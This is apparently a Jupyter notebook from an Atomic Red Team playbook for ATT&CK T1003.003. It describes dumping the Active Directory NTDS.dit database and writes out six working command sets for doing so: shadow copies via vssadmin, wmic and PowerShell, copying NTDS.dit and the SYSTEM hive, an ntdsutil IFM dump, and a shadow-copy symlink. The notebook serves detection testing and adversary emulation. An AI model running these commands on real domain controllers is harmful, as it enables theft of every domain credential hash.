<jupyter_start><jupyter_text>T1003.003 - OS Credential Dumping: NTDSAdversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)In addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.* Volume Shadow Copy* secretsdump.py* Using the in-built Windows tool, ntdsutil.exe* Invoke-NinjaCopy  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - Create Volume Shadow Copy with NTDS.ditThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `None`! Description: Target must be a Domain Controller Check Prereq Commands:```Nonereg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT``` Get Prereq Commands:```Noneecho Sorry, Promoting this machine to a Domain Controller must be done manually```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 1 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptvssadmin.exe create shadow /for=C:```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - Copy NTDS.dit from Volume Shadow CopyThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.This test requires steps taken in the test "Create Volume Shadow Copy with NTDS.dit".A successful test also requires the export of the SYSTEM Registry hive.This test must be executed on a Windows Domain Controller.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `None`! Description: Target must be a Domain Controller Check Prereq Commands:```Nonereg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT``` Get Prereq Commands:```Noneecho Sorry, Promoting this machine to a Domain Controller must be done manually``` Description: Volume shadow copy must exist Check Prereq Commands:```Noneif not exist \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 (exit /b 1)``` Get Prereq Commands:```Noneecho Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with NTDS.dit'" to fulfuill this requirement``` Description: Extract path must exist Check Prereq Commands:```Noneif not exist C:\Windows\Temp (exit /b 1)``` Get Prereq Commands:```Nonemkdir C:\Windows\Temp```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 2 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.ditcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\VSC_SYSTEM_HIVEreg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM_HIVE```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - Dump Active Directory Database with NTDSUtilThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capabilityuses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation ofsubsequent domain controllers without the need of network-based replication.Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `None`! Description: Target must be a Domain Controller Check Prereq Commands:```Nonereg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT``` Get Prereq Commands:```Noneecho Sorry, Promoting this machine to a Domain Controller must be done manually```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 3 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptmkdir C:\Windows\Temp\ntds_T1003ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds_T1003" q q```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 3<jupyter_output><empty_output><jupyter_text>Atomic Test 4 - Create Volume Shadow Copy with WMIThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `None`! Description: Target must be a Domain Controller Check Prereq Commands:```Nonereg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT``` Get Prereq Commands:```Noneecho Sorry, Promoting this machine to a Domain Controller must be done manually```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 4 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptwmic shadowcopy call create Volume=C:```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 4<jupyter_output><empty_output><jupyter_text>Atomic Test 5 - Create Volume Shadow Copy with PowershellThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershell(gwmi -list win32_shadowcopy).Create(C:,'ClientAccessible')```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 5<jupyter_output><empty_output><jupyter_text>Atomic Test 6 - Create Symlink to Volume Shadow CopyThis test is intended to be run on a domain Controller.The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `command_prompt````command_promptvssadmin.exe create shadow /for=C:mklink /D C:\Temp\vssstore \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1```<jupyter_code>Invoke-AtomicTest T1003.003 -TestNumbers 6<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.07987668161434977, 'fraction_numerical': 0.01765695067264574, 'mean_word_length': 6.5284810126582276, 'pattern_counts': {'":': 0, '<': 45, '<?xml version=': 0, '>': 45, 'https://': 1, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '11', 'dir': 'jupyter-structured-clean-dedup', 'id': '404036', 'license': 'MIT', 'n_tokens_mistral': 2193, 'n_tokens_neox': 1984, 'n_words': 728, 'path': 'playbook/tactics/credential-access/T1003.003.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '7136'}